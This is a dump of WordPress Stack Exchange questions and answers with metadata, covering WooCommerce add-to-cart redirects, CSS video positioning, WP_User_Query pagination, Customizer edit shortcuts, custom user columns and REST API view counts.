qid
int64
4
8.14M
question
stringlengths
20
48.3k
answers
list
date
stringlengths
10
10
metadata
list
input
stringlengths
12
45k
output
stringlengths
2
31.8k
281,226
<p>We use this type of Add to Cart URL on our site a lot of times: <a href="http://yourdomain.com/cart/?add-to-cart=25" rel="nofollow noreferrer">http://yourdomain.com/cart/?add-to-cart=25</a>. The problem is after it redirects to the Cart page, if the client changes his/her mind and removes the recently added product, the Cart page loads and adds it again since "?add-to-cart=25" is on the URL. </p> <p>My question is is it possible to remove the "?add-to-cart=product-id" part after the redirection to Cart?</p>
[ { "answer_id": 290870, "author": "dev_masta", "author_id": 89164, "author_profile": "https://wordpress.stackexchange.com/users/89164", "pm_score": 2, "selected": false, "text": "<p>The solution would be to lose the <code>?add-to-cart=25</code>part of the URL.\nThe simplest way to do that is with javascript <strong>History API</strong>:</p>\n\n<pre><code>history.pushState(null, \"\", location.href.split(\"?\")[0]);\n</code></pre>\n\n<p>Docs: <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/History_API\" rel=\"nofollow noreferrer\">https://developer.mozilla.org/en-US/docs/Web/API/History_API</a></p>\n\n<blockquote>\n <p>The DOM window object provides access to the browser's history through the history object. It exposes useful methods and properties that let you move back and forth through the user's history, as well as -- starting with HTML5 -- <strong>manipulate the contents of the history stack</strong>.</p>\n</blockquote>\n\n<p>It was introduced in HTML5 so older browsers might not support it.</p>\n" }, { "answer_id": 296997, "author": "xnagyg", "author_id": 138765, "author_profile": "https://wordpress.stackexchange.com/users/138765", "pm_score": 1, "selected": false, "text": "<p>This is my solution (redirect to the checkout page if the user clicked on a custom add-to-cart button):</p>\n\n<pre><code>function xnagyg_redirect_checkout_add_cart( $url ) {\n //continue only if we found add-to-cart in the URL!!!\n if ( empty( $_GET['add-to-cart'] ) || ! is_numeric( $_GET['add-to-cart'] ) ) {\n return false; //do not redirect\n }\n $url = get_permalink( get_option( 'woocommerce_checkout_page_id' ) ); //Redirect to Checkout page\n return $url;\n}\n\nadd_filter( 'woocommerce_add_to_cart_redirect', 'xnagyg_redirect_checkout_add_cart' );\n</code></pre>\n" }, { "answer_id": 414375, "author": "Fanky", "author_id": 89973, "author_profile": "https://wordpress.stackexchange.com/users/89973", "pm_score": 0, "selected": false, "text": "<p>Combining @xnagyg's hook and @dev_masta's JS, this gets rid of <code>?add-to-cart</code> in the cart page so you can freely use refresh and back button. Also doesn't affect AJAX functionality</p>\n<pre><code>add_action('woocommerce_add_to_cart_redirect', 'refresh_function');\n\nfunction refresh_function(){\n if ( is_page( 'cart' ) || is_cart() ) {\n ?&gt;\n &lt;script&gt;\n history.pushState(null, &quot;&quot;, location.href.split(&quot;?&quot;)[0]); \n &lt;/script&gt;\n &lt;?php\n }\n}\n</code></pre>\n" } ]
2017/09/27
[ "https://wordpress.stackexchange.com/questions/281226", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/125003/" ]
We use this type of Add to Cart URL on our site a lot of times: <http://yourdomain.com/cart/?add-to-cart=25>. The problem is after it redirects to the Cart page, if the client changes his/her mind and removes the recently added product, the Cart page loads and adds it again since "?add-to-cart=25" is on the URL. My question is is it possible to remove the "?add-to-cart=product-id" part after the redirection to Cart?
The solution would be to lose the `?add-to-cart=25`part of the URL. The simplest way to do that is with javascript **History API**: ``` history.pushState(null, "", location.href.split("?")[0]); ``` Docs: <https://developer.mozilla.org/en-US/docs/Web/API/History_API> > > The DOM window object provides access to the browser's history through the history object. It exposes useful methods and properties that let you move back and forth through the user's history, as well as -- starting with HTML5 -- **manipulate the contents of the history stack**. > > > It was introduced in HTML5 so older browsers might not support it.
281,230
<p>On <a href="https://www.altcinematic.co.uk/video-test/" rel="nofollow noreferrer">https://www.altcinematic.co.uk/video-test/</a> I have input a video header using advanced custom fields and a new page template.</p> <p>Page template:</p> <pre><code>&lt;?php /* Template Name: Video Banner */ ?&gt; &lt;?php get_header(); ?&gt; &lt;main class="main-content"&gt; &lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&gt; &lt;section class="fullscreen-intro homepage"&gt; &lt;?php the_field('video_banner'); ?&gt; &lt;/section&gt; &lt;section id="content"&gt; &lt;div class="content-section&lt;?php if(have_rows('films')){echo " padding-bottom-remove";} ?&gt;"&gt; &lt;div class="white"&gt; &lt;div class="box-white container-box&lt;?php if(have_rows('films')){echo " margin-bottom-remove";} ?&gt;"&gt; &lt;?php the_content(); ?&gt; &lt;/div&gt; &lt;/div&gt;&lt;!-- /white --&gt; &lt;/div&gt;&lt;!-- /oontent-section --&gt; &lt;/section&gt;&lt;!-- /content --&gt; &lt;?php if(have_rows('films')): $count = 1; ?&gt; &lt;section id="content"&gt; &lt;div class="content-section"&gt; &lt;?php while(have_rows('films')): the_row(); if(is_int($count / 2)){ $position = "align-left"; } else { $position = "align-right"; } if($video = get_sub_field('is_this_a_video') == "yes"){ $type = "video"; } else { $type = "other"; } ?&gt; &lt;article class="yellow film-box &lt;?php echo $position . " " . $type; ?&gt;"&gt; &lt;div class="box container-box clear-fix"&gt; &lt;div class="box-right-top"&gt; &lt;div class="img video-wrap"&gt; &lt;div class="iframe-wrap"&gt; &lt;?php the_sub_field('vimeo_link'); ?&gt; &lt;/div&gt;&lt;!-- /iframe-wrap --&gt; &lt;/div&gt;&lt;!-- /img --&gt; &lt;/div&gt;&lt;!-- /box --&gt; &lt;div class="box-left-top"&gt; &lt;h1&gt;&lt;?php the_sub_field('title'); ?&gt;&lt;/h1&gt; &lt;?php the_sub_field('intro_text'); ?&gt; &lt;/div&gt; &lt;/div&gt;&lt;!-- /box --&gt; &lt;/article&gt; &lt;?php $count++; endwhile; ?&gt; &lt;/div&gt;&lt;!-- /oontent-section --&gt; &lt;/section&gt;&lt;!-- /content --&gt; &lt;?php endif; ?&gt; &lt;?php endwhile; endif; ?&gt; &lt;/main&gt; &lt;?php get_footer(); ?&gt; </code></pre> <p>This works fine on desktop, however I can not get the position of video correct on tablet and mobile? It sits behind the header and content areas rather than in-between them, hence if I add margin / padding it just moves the video behind.</p> <p>I have inherited this site and hence may not be fully understanding how these elements are being controlled?</p>
[ { "answer_id": 281237, "author": "Sovai", "author_id": 122599, "author_profile": "https://wordpress.stackexchange.com/users/122599", "pm_score": 0, "selected": false, "text": "<p>This question is nothing to do with WordPress. Your problem is position fixed of your header. Try to wrap your iframe with a div with property <code>margin-top: your-header-height</code></p>\n" }, { "answer_id": 281238, "author": "Samuel Asor", "author_id": 84265, "author_profile": "https://wordpress.stackexchange.com/users/84265", "pm_score": 2, "selected": true, "text": "<p>You can target those devices using css, and put a declaration specifically for that.</p>\n\n<p>Add this to your css file, and adjust to the suitable value:</p>\n\n<pre><code>@media screen and (max-width: 768px) {\n .page-template-page-video-banner .fullscreen-intro {\n margin-top: 135px !important;\n }\n}\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/Ks9d4.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Ks9d4.png\" alt=\"See Screenshot\"></a></p>\n" } ]
2017/09/27
[ "https://wordpress.stackexchange.com/questions/281230", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/91013/" ]
On <https://www.altcinematic.co.uk/video-test/> I have input a video header using advanced custom fields and a new page template. Page template: ``` <?php /* Template Name: Video Banner */ ?> <?php get_header(); ?> <main class="main-content"> <?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?> <section class="fullscreen-intro homepage"> <?php the_field('video_banner'); ?> </section> <section id="content"> <div class="content-section<?php if(have_rows('films')){echo " padding-bottom-remove";} ?>"> <div class="white"> <div class="box-white container-box<?php if(have_rows('films')){echo " margin-bottom-remove";} ?>"> <?php the_content(); ?> </div> </div><!-- /white --> </div><!-- /oontent-section --> </section><!-- /content --> <?php if(have_rows('films')): $count = 1; ?> <section id="content"> <div class="content-section"> <?php while(have_rows('films')): the_row(); if(is_int($count / 2)){ $position = "align-left"; } else { $position = "align-right"; } if($video = get_sub_field('is_this_a_video') == "yes"){ $type = "video"; } else { $type = "other"; } ?> <article class="yellow film-box <?php echo $position . " " . $type; ?>"> <div class="box container-box clear-fix"> <div class="box-right-top"> <div class="img video-wrap"> <div class="iframe-wrap"> <?php the_sub_field('vimeo_link'); ?> </div><!-- /iframe-wrap --> </div><!-- /img --> </div><!-- /box --> <div class="box-left-top"> <h1><?php the_sub_field('title'); ?></h1> <?php the_sub_field('intro_text'); ?> </div> </div><!-- /box --> </article> <?php $count++; endwhile; ?> </div><!-- /oontent-section --> </section><!-- /content --> <?php endif; ?> <?php endwhile; endif; ?> </main> <?php get_footer(); ?> ``` This works fine on desktop, however I can not get the position of video correct on tablet and mobile? It sits behind the header and content areas rather than in-between them, hence if I add margin / padding it just moves the video behind. I have inherited this site and hence may not be fully understanding how these elements are being controlled?
You can target those devices using css, and put a declaration specifically for that. Add this to your css file, and adjust to the suitable value: ``` @media screen and (max-width: 768px) { .page-template-page-video-banner .fullscreen-intro { margin-top: 135px !important; } } ``` [![See Screenshot](https://i.stack.imgur.com/Ks9d4.png)](https://i.stack.imgur.com/Ks9d4.png)
281,251
<p>I have more than 3000 users with role 'subscriber', and now i want to fetch all users with role 'subscriber'.</p> <pre><code>$user_query = new WP_User_Query( array( 'role' =&gt; 'Subscriber' ) ); $users = $user_query-&gt;get_results(); foreach( $users as $user) { // getting user data } </code></pre> <p>Now when i tried with above code, then my page is not working, it gives me 500 HTTP ERROR saying that "unable to handle request" So what i need to change in my code so that it gives me all users at once.</p> <p>But when i tried with below code, then it works very well.</p> <pre><code>$user_query = new WP_User_Query( array( 'role' =&gt; 'Subscriber','number' =&gt; 200 ) ); </code></pre> <p>but everytime it will return first 20 user with 'subscriber' role.</p> <p>Thanks in advance</p>
[ { "answer_id": 281252, "author": "Kuliraj", "author_id": 128600, "author_profile": "https://wordpress.stackexchange.com/users/128600", "pm_score": 0, "selected": false, "text": "<p>This will return and loop though all of your subscribers.</p>\n\n<pre><code>$users = get_users( array(\n 'role' =&gt; 'subscriber',\n) );\n\nif ( ! empty( $users ) ) {\n foreach( $users as $user ) {\n // getting user data\n }\n}\n</code></pre>\n\n<p><a href=\"https://codex.wordpress.org/Function_Reference/get_users\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Function_Reference/get_users</a></p>\n" }, { "answer_id": 281259, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 2, "selected": false, "text": "<p>The problem here is that this query has pagination by default, and what you're asking for is not scalable.</p>\n\n<p>For example, this query fetches 5 posts at a time, and displays the 6th page of users:</p>\n\n<pre><code>$user_query = new WP_User_Query( array(\n 'number' =&gt; 5,\n 'offset' =&gt; 25\n) );\n</code></pre>\n\n<p>You can pass <code>-1</code> to fetch unlimited users, but this will lead to other problems.</p>\n\n<p>There is also the <code>paged</code> parameter which you can use instead of <code>offset</code> to save some calculation</p>\n\n<h2>Why You Should Never Ask For All The <s>Posts</s> Users</h2>\n\n<p>Displaying 3000 users at once is going to be an expensive operation, both to fetch the data, and to display it. This is the kind of operation that should be done in WP CLI, and should be done in steps rather than all at once</p>\n\n<p>It'll be much more efficient to fetch 100 users 30 times than to fetch 3000 users once. Similarly, pagination was added for a reason, I strongly recommend you use it</p>\n\n<p>You can have as many users as you want, just don't try to display them all at the same time, be reasonable. The same goes for comments, pages, posts, and anything else that there's 3000 of. A good number is 50 as a max. Always set a maximum, even if it's a silly high maximum you never expect to hit, and always opt for pagination or incremental loading when possible</p>\n\n<p>Other factors include running out of available memory, the query taking too long and running into the max execution time, or lots of people visiting that page at the same time.</p>\n\n<h2>You're Double Querying</h2>\n\n<p>This is a standard user query:</p>\n\n<pre><code>$args = array( ... );\n// The Query\n$user_query = new WP_User_Query( $args );\n\n// User Loop\nif ( ! empty( $user_query-&gt;results ) ) {\n foreach ( $user_query-&gt;results as $user ) {\n echo '&lt;p&gt;' . $user-&gt;display_name . '&lt;/p&gt;';\n }\n} else {\n echo 'No users found.';\n}\n</code></pre>\n\n<p>Notice that as soon as you create the <code>$user_query</code> object it runs the query. But your code then calls <code>$users = $user_query-&gt;get_results();</code>, making it go back to the database, and fetch the result a second time. You don't need to call <code>get_results</code></p>\n\n<h2>Memory and Time Limits</h2>\n\n<p>As indicated, this is being ran on WP Cron, but this leads to a problem. Nowhere do you actually test that 20 users or 3000 are returned in a reliable way.</p>\n\n<p>For example, it may be returning all the users you expected, but you only have time to process 20 before the time limit hits, so it only appears as if 20 were returned. Similarly, Processing each user may take too long, and 20 is all you have time for.</p>\n\n<p>To find this out, use the <code>$user_query-&gt;get_total()</code> method and store it somewhere.</p>\n\n<p><a href=\"https://developer.wordpress.org/reference/classes/wp_user_query/get_total/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/classes/wp_user_query/get_total/</a></p>\n\n<p>I would recommend switching to a WP CLI command ran by a real cron job so that time limits no longer apply, as well as only processing 50 at a time to avoid memory limits, and having an incremental process rather than doing them all at once.</p>\n" } ]
2017/09/27
[ "https://wordpress.stackexchange.com/questions/281251", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/100940/" ]
I have more than 3000 users with role 'subscriber', and now i want to fetch all users with role 'subscriber'. ``` $user_query = new WP_User_Query( array( 'role' => 'Subscriber' ) ); $users = $user_query->get_results(); foreach( $users as $user) { // getting user data } ``` Now when i tried with above code, then my page is not working, it gives me 500 HTTP ERROR saying that "unable to handle request" So what i need to change in my code so that it gives me all users at once. But when i tried with below code, then it works very well. ``` $user_query = new WP_User_Query( array( 'role' => 'Subscriber','number' => 200 ) ); ``` but everytime it will return first 20 user with 'subscriber' role. Thanks in advance
The problem here is that this query has pagination by default, and what you're asking for is not scalable. For example, this query fetches 5 posts at a time, and displays the 6th page of users: ``` $user_query = new WP_User_Query( array( 'number' => 5, 'offset' => 25 ) ); ``` You can pass `-1` to fetch unlimited users, but this will lead to other problems. There is also the `paged` parameter which you can use instead of `offset` to save some calculation Why You Should Never Ask For All The ~~Posts~~ Users ---------------------------------------------------- Displaying 3000 users at once is going to be an expensive operation, both to fetch the data, and to display it. This is the kind of operation that should be done in WP CLI, and should be done in steps rather than all at once It'll be much more efficient to fetch 100 users 30 times than to fetch 3000 users once. Similarly, pagination was added for a reason, I strongly recommend you use it You can have as many users as you want, just don't try to display them all at the same time, be reasonable. The same goes for comments, pages, posts, and anything else that there's 3000 of. A good number is 50 as a max. Always set a maximum, even if it's a silly high maximum you never expect to hit, and always opt for pagination or incremental loading when possible Other factors include running out of available memory, the query taking too long and running into the max execution time, or lots of people visiting that page at the same time. You're Double Querying ---------------------- This is a standard user query: ``` $args = array( ... ); // The Query $user_query = new WP_User_Query( $args ); // User Loop if ( ! empty( $user_query->results ) ) { foreach ( $user_query->results as $user ) { echo '<p>' . $user->display_name . '</p>'; } } else { echo 'No users found.'; } ``` Notice that as soon as you create the `$user_query` object it runs the query. But your code then calls `$users = $user_query->get_results();`, making it go back to the database, and fetch the result a second time. You don't need to call `get_results` Memory and Time Limits ---------------------- As indicated, this is being ran on WP Cron, but this leads to a problem. Nowhere do you actually test that 20 users or 3000 are returned in a reliable way. For example, it may be returning all the users you expected, but you only have time to process 20 before the time limit hits, so it only appears as if 20 were returned. Similarly, Processing each user may take too long, and 20 is all you have time for. To find this out, use the `$user_query->get_total()` method and store it somewhere. <https://developer.wordpress.org/reference/classes/wp_user_query/get_total/> I would recommend switching to a WP CLI command ran by a real cron job so that time limits no longer apply, as well as only processing 50 at a time to avoid memory limits, and having an incremental process rather than doing them all at once.
281,261
<p>I am developing a theme and I wonder if there anyway I can add a visual edit shortcut without selective refresh?</p> <pre><code>$wp_customize-&gt;get_setting( 'blogname' )-&gt;transport = 'postMessage'; $wp_customize-&gt;selective_refresh-&gt;add_partial( 'blogname', array( 'selector' =&gt; '.site-title a', 'render_callback' =&gt; 'twentyfifteen_customize_partial_blogname', ) ); </code></pre> <p>Can I do like </p> <pre><code>$wp_customize-&gt;get_setting( 'blogname' )-&gt;transport = 'postMessage'; $wp_customize-&gt;get_setting( 'blogdescription' )-&gt;transport = 'postMessage'; $wp_customize-&gt;add_partial( 'blogname', array( 'selector' =&gt; '.site-title a', 'render_callback' =&gt; 'twentyfifteen_customize_partial_blogname', ) ); </code></pre> <p>Actually it works and gives the desired result .. but I am using Kirki as my framework and for some reason I am not able to do it. I just don't want to use the default selective refresh i want to use my own javascript function with postMessage and I am not able to implement the selector tag here.</p> <p>Here is my code:</p> <pre><code>Kirki::add_field( 'theme_config', array( 'type' =&gt; 'text', 'settings' =&gt; 'about_us_video_setting', 'label' =&gt; __( 'Video Link', 'rst' ), 'section' =&gt; 'about_us_section', 'default' =&gt; esc_attr__( 'youtube.com', 'rst' ), 'transport' =&gt; 'postMessage', 'partial_refresh' =&gt; array( 'about_us_video_setting' =&gt; array( 'selector' =&gt; '#youtube-video', 'render_callback' =&gt; 'show_video', ) ), 'active_callback' =&gt; array( array( 'setting' =&gt; 'is_front_page', 'operator' =&gt; '==', 'value' =&gt; true, ), ), ) ); </code></pre> <p>what i want is</p> <pre><code>Kirki::add_field( 'theme_config', array( 'type' =&gt; 'text', 'settings' =&gt; 'about_us_video_setting', 'label' =&gt; __( 'Video Link', 'rst' ), 'section' =&gt; 'about_us_section', 'default' =&gt; esc_attr__( 'youtube.com', 'rst' ), 'transport' =&gt; 'postMessage', 'selector' =&gt; '#youtube-video', 'active_callback' =&gt; array( array( 'setting' =&gt; 'is_front_page', 'operator' =&gt; '==', 'value' =&gt; true, ), ), ) ); </code></pre> <p>Is this.. as even if I give transport as postMessage what is does is just default refresh instead of using my own javascript which is </p> <pre><code>( function( $ ) { // Change the previewed URL to the selected page when changing the page_for_posts. wp.customize( 'about_us_video_setting', function( setting ) { setting.bind( function( url ) { $('.embed-responsive-item').attr('src',url); }); }); } )( jQuery ); </code></pre> <p>Just want to clarify as I did not find any documentation. Is it a criteria to use selective refresh to show edit shorcuts?</p> <p>from edit shorcuts I mean this pencil icon <a href="https://i.stack.imgur.com/sMkqh.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/sMkqh.png" alt="enter image description here"></a> which takes you to the desired location to edit.</p>
[ { "answer_id": 281442, "author": "Weston Ruter", "author_id": 8521, "author_profile": "https://wordpress.stackexchange.com/users/8521", "pm_score": 0, "selected": false, "text": "<p>What you can to do is extend <code>wp.customize.selectiveRefresh.Partial</code> in JavaScript to create a custom Partial type that overrides the <code>refresh</code> behavior to apply a JS-based live preview instead of doing an Ajax call to do a partial refresh request.</p>\n\n<p>You can refer to an example in the <a href=\"https://github.com/xwp/wp-customize-widget-sidebar-meta\" rel=\"nofollow noreferrer\">Customize Widget Sidebar Meta</a> plugin, specifically in the <a href=\"https://github.com/xwp/wp-customize-widget-sidebar-meta/blob/master/customize-widget-sidebar-meta-background-color-partial.js\" rel=\"nofollow noreferrer\"><code>sidebar_meta_background_color</code></a> partial type.</p>\n\n<p>So if you register partials with this <code>sidebar_meta_background_color</code> type then they'd use this JS subclass with the overridden <code>refresh</code> method.</p>\n" }, { "answer_id": 286697, "author": "Alison", "author_id": 118606, "author_profile": "https://wordpress.stackexchange.com/users/118606", "pm_score": 3, "selected": true, "text": "<p>There is a simple way to do this by using <strong>__return_false</strong> . The downside is you get a double refresh as it checks for a partial and then returns \"false\" which results in a full refresh. This is problematic if you are using javascript only to show a \"realtime\" preview. In that case, you'd have to go with Weston Ruter's solution.</p>\n\n<p>If you are not actually using a postMessage preview and just want the shortcut to show up, then it is not a big deal as you need the full refresh anyway. </p>\n\n<p>I am not sure why they haven't built in these partial edit shortcuts for those using javascript only. </p>\n\n<p>In kirki:</p>\n\n<pre><code>'transport' =&gt; 'postMessage', \n'partial_refresh' =&gt; array(\n 'about_us_video_setting' =&gt; array(\n 'selector' =&gt; '#youtube-video',\n 'render_callback' =&gt; '__return_false'\n )\n )\n</code></pre>\n\n<p>Standard: </p>\n\n<pre><code>$wp_customize-&gt;get_setting( 'about_us_video_setting' )-&gt;transport = 'postMessage';\n\n$wp_customize-&gt;selective_refresh-&gt;add_partial( 'about_us_video_setting', array(\n 'selector' =&gt; '#youtube-video',\n 'render_callback' =&gt; '__return_false',\n ) );\n</code></pre>\n" } ]
2017/09/27
[ "https://wordpress.stackexchange.com/questions/281261", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128610/" ]
I am developing a theme and I wonder if there anyway I can add a visual edit shortcut without selective refresh? ``` $wp_customize->get_setting( 'blogname' )->transport = 'postMessage'; $wp_customize->selective_refresh->add_partial( 'blogname', array( 'selector' => '.site-title a', 'render_callback' => 'twentyfifteen_customize_partial_blogname', ) ); ``` Can I do like ``` $wp_customize->get_setting( 'blogname' )->transport = 'postMessage'; $wp_customize->get_setting( 'blogdescription' )->transport = 'postMessage'; $wp_customize->add_partial( 'blogname', array( 'selector' => '.site-title a', 'render_callback' => 'twentyfifteen_customize_partial_blogname', ) ); ``` Actually it works and gives the desired result .. but I am using Kirki as my framework and for some reason I am not able to do it. I just don't want to use the default selective refresh i want to use my own javascript function with postMessage and I am not able to implement the selector tag here. Here is my code: ``` Kirki::add_field( 'theme_config', array( 'type' => 'text', 'settings' => 'about_us_video_setting', 'label' => __( 'Video Link', 'rst' ), 'section' => 'about_us_section', 'default' => esc_attr__( 'youtube.com', 'rst' ), 'transport' => 'postMessage', 'partial_refresh' => array( 'about_us_video_setting' => array( 'selector' => '#youtube-video', 'render_callback' => 'show_video', ) ), 'active_callback' => array( array( 'setting' => 'is_front_page', 'operator' => '==', 'value' => true, ), ), ) ); ``` what i want is ``` Kirki::add_field( 'theme_config', array( 'type' => 'text', 'settings' => 'about_us_video_setting', 'label' => __( 'Video Link', 'rst' ), 'section' => 'about_us_section', 'default' => esc_attr__( 'youtube.com', 'rst' ), 'transport' => 'postMessage', 'selector' => '#youtube-video', 'active_callback' => array( array( 'setting' => 'is_front_page', 'operator' => '==', 'value' => true, ), ), ) ); ``` Is this.. as even if I give transport as postMessage what is does is just default refresh instead of using my own javascript which is ``` ( function( $ ) { // Change the previewed URL to the selected page when changing the page_for_posts. wp.customize( 'about_us_video_setting', function( setting ) { setting.bind( function( url ) { $('.embed-responsive-item').attr('src',url); }); }); } )( jQuery ); ``` Just want to clarify as I did not find any documentation. Is it a criteria to use selective refresh to show edit shorcuts? from edit shorcuts I mean this pencil icon [![enter image description here](https://i.stack.imgur.com/sMkqh.png)](https://i.stack.imgur.com/sMkqh.png) which takes you to the desired location to edit.
There is a simple way to do this by using **\_\_return\_false** . The downside is you get a double refresh as it checks for a partial and then returns "false" which results in a full refresh. This is problematic if you are using javascript only to show a "realtime" preview. In that case, you'd have to go with Weston Ruter's solution. If you are not actually using a postMessage preview and just want the shortcut to show up, then it is not a big deal as you need the full refresh anyway. I am not sure why they haven't built in these partial edit shortcuts for those using javascript only. In kirki: ``` 'transport' => 'postMessage', 'partial_refresh' => array( 'about_us_video_setting' => array( 'selector' => '#youtube-video', 'render_callback' => '__return_false' ) ) ``` Standard: ``` $wp_customize->get_setting( 'about_us_video_setting' )->transport = 'postMessage'; $wp_customize->selective_refresh->add_partial( 'about_us_video_setting', array( 'selector' => '#youtube-video', 'render_callback' => '__return_false', ) ); ```
281,311
<p>I have added some custom columns to users table using the following function</p> <pre><code> public function modify_users_columns( $column_headers ) { //Remove email, role, and posts column unset( $column_headers['email'], $column_headers['role'], $column_headers['posts'] ); //Add sponsor id, level1 and level2 columns $column_headers['sponsor_id'] = 'Sponsor ID'; $column_headers['level1'] = 'Level 1'; $column_headers['level2'] = 'Level 2'; return $column_headers; } add_filter( 'manage_users_columns', $plugin_admin, 'modify_users_columns' ); </code></pre> <p>Then I am trying to populate these columns using custom user meta using following function</p> <pre><code> public function display_custom_users_columns_data( $output, $column_name, $user_id ) { switch ($column_name) { case 'sponsor_id': return get_user_meta($user_id, 'sponsor_id', true); break; case 'level1': return get_user_meta($user_id, 'level1', true); break; case 'level2' : return get_user_meta($user_id, 'level2', true); default: } return $output; } add_filter( 'manage_users_custom_columns', $plugin_admin, 'display_custom_users_columns_data', 10, 3 ); </code></pre> <p>The first function works correctly and my custom columns are displayed. However the second function is not working, no matter how I return the $output variable</p> <p>Someone reported this bug here but it was closed, I don't know? <a href="https://core.trac.wordpress.org/ticket/10585" rel="nofollow noreferrer">manage_users_custom_column filter not working</a></p>
[ { "answer_id": 281312, "author": "Abson Reavs", "author_id": 128638, "author_profile": "https://wordpress.stackexchange.com/users/128638", "pm_score": -1, "selected": false, "text": "<p>Try this.... </p>\n\n<pre><code>case 'level1' :\n $level1 = get_user_meta( $user_id, 'level1', true );\n echo $level1;\nbreak;\n</code></pre>\n" }, { "answer_id": 281315, "author": "ShahRukhMlk", "author_id": 52654, "author_profile": "https://wordpress.stackexchange.com/users/52654", "pm_score": 1, "selected": true, "text": "<p>I was using the wrong filter name by adding an 's' in manage_users_custom_columns. The correct filter name is without 's' : manage_users_custom_column.\nThis was pointed out in the comments by @mmm. </p>\n" } ]
2017/09/27
[ "https://wordpress.stackexchange.com/questions/281311", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/52654/" ]
I have added some custom columns to users table using the following function ``` public function modify_users_columns( $column_headers ) { //Remove email, role, and posts column unset( $column_headers['email'], $column_headers['role'], $column_headers['posts'] ); //Add sponsor id, level1 and level2 columns $column_headers['sponsor_id'] = 'Sponsor ID'; $column_headers['level1'] = 'Level 1'; $column_headers['level2'] = 'Level 2'; return $column_headers; } add_filter( 'manage_users_columns', $plugin_admin, 'modify_users_columns' ); ``` Then I am trying to populate these columns using custom user meta using following function ``` public function display_custom_users_columns_data( $output, $column_name, $user_id ) { switch ($column_name) { case 'sponsor_id': return get_user_meta($user_id, 'sponsor_id', true); break; case 'level1': return get_user_meta($user_id, 'level1', true); break; case 'level2' : return get_user_meta($user_id, 'level2', true); default: } return $output; } add_filter( 'manage_users_custom_columns', $plugin_admin, 'display_custom_users_columns_data', 10, 3 ); ``` The first function works correctly and my custom columns are displayed. However the second function is not working, no matter how I return the $output variable Someone reported this bug here but it was closed, I don't know? [manage\_users\_custom\_column filter not working](https://core.trac.wordpress.org/ticket/10585)
I was using the wrong filter name by adding an 's' in manage\_users\_custom\_columns. The correct filter name is without 's' : manage\_users\_custom\_column. This was pointed out in the comments by @mmm.
281,361
<p>I don't know if I've complicated things a bit, so I'll explain things from the top. I have a set up with a custom post type (news), which is exposed via the REST API. The main endpoint (<code>/wp-json/wp/v2/news</code>) returns a list of <code>news</code> items, which needs to be sorted by popularity. I tried a few post view count plugins, but none of them seem to work via the REST API (they only work when the theme renders the post).</p> <p>My plan is to create a "view count" ACF field and hook into the REST API init for a post (or only for my <code>news</code> type), and update the value for that ACF field. I should then be able to request a list of the items ordered by the view count.</p> <p>I seem to have found solutions for some of the tasks involved, but I can't figure out the basic one: How can I hook into WP when a REST API request is made on a particular post type and how can I update the custom field at that point?</p> <p>ACF isn't an integral part of this query - I'm fine with using a native custom field, but if my question about the hook is answered, the field type is irrelevant.</p>
[ { "answer_id": 281366, "author": "aalaap", "author_id": 14411, "author_profile": "https://wordpress.stackexchange.com/users/14411", "pm_score": 1, "selected": false, "text": "<p>I looked around again with a more relaxed mind and figured out that <code>the_posts</code> is the action hook I was looking for. This is how I just did it:</p>\n\n<pre><code>add_action(\n 'the_post',\n function ( $post ) {\n $count = (int) get_field('views');\n $count++;\n update_field('views', $count);\n }\n);\n</code></pre>\n\n<p>Now I'll just figure out how to sort it by an ACF field...</p>\n\n<p><strong>Update:</strong> Nope, this will not work, because <code>the_post</code> runs 10 times in the main query <code>/news/</code> for each of the 10 items, so even getting the index would increase the view counts. Back to the drawing board...</p>\n\n<p><strong>Update 2:</strong> My final idea is to still use the <code>the_post</code> hook as used above, but by adding a <code>?index=true</code> parameter, which will only be specified with the <code>/news/</code> endpoint, eg. <code>/news?index=true</code>. I'll then update the hook function to only count a view if there is no <code>index</code> query string parameter set. Finally, I will hook into the main WP_Query and sort the items by the count before they're sent out. If this doesn't work, I'm trashing this whole directory and building the app from scratch using Laravel.</p>\n\n<p><strong>Update 3:</strong> I think the last idea is probably not the cleanest or the correct way to do this. I ended up adding a custom endpoint only for counting views, accepting that this is a custom functionality requirement. I did it like this:</p>\n\n<pre><code>function aalaap_count_view( $data ) {\n $post = get_post( $data['id'] );\n\n if ( empty( $post ) ) {\n return new WP_Error( 'aalaap_post_not_found', 'Invalid post', array( 'status' =&gt; 404 ) );\n }\n\n // Now update the ACF field (or whatever you wish)\n $count = (int) get_field('views', $post-&gt;ID);\n $count++;\n update_field('views', $count, $post-&gt;ID);\n\n return new WP_REST_Response($count);\n}\n\nadd_action( 'rest_api_init', function () {\n register_rest_route( 'aalaap/v1', '/countview/(?P&lt;id&gt;\\d+)', array(\n 'methods' =&gt; 'GET',\n 'callback' =&gt; 'aalaap_count_view',\n ) );\n} );\n</code></pre>\n\n<p>Thanks to @Mark-Kaplun for the suggestion in the other answer.</p>\n" }, { "answer_id": 281369, "author": "Mark Kaplun", "author_id": 23970, "author_profile": "https://wordpress.stackexchange.com/users/23970", "pm_score": 0, "selected": false, "text": "<p>In general, if you need your own special treatment you should just implement your own end point. It will become more apparent the more usage the canonical end point will get. In your case, if you change the output of that end point, you will not be able to use it in other plugins that expect that it will return a list soreted by publish time.</p>\n" } ]
2017/09/28
[ "https://wordpress.stackexchange.com/questions/281361", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/14411/" ]
